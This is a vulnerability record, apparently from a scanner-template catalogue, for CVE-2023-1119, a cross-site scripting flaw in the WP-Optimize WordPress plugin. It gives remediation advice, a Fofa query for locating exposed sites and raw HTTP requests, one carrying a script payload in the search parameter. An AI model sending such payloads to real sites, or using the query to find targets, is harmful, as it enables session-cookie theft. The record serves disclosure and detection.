| Title | WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through search parameters due to improper HTML character escaping in a third-party library, enabling theft of WordPress user session cookies. |
| Remediation | Users are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.21072 |
| CVE ID | CVE-2023-1119 |
| CWE ID | CWE-79 |
| Fofa Query | body="/wp-content/plugins/wp-optimize" |
| Tags | cve cve2023 wp wp-plugin wordpress wp-optimize xss vkev vuln |
The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Accept-Encoding: gzip
GET /?s=<%2Fscript><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1119.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1119.pcap
N/AN/A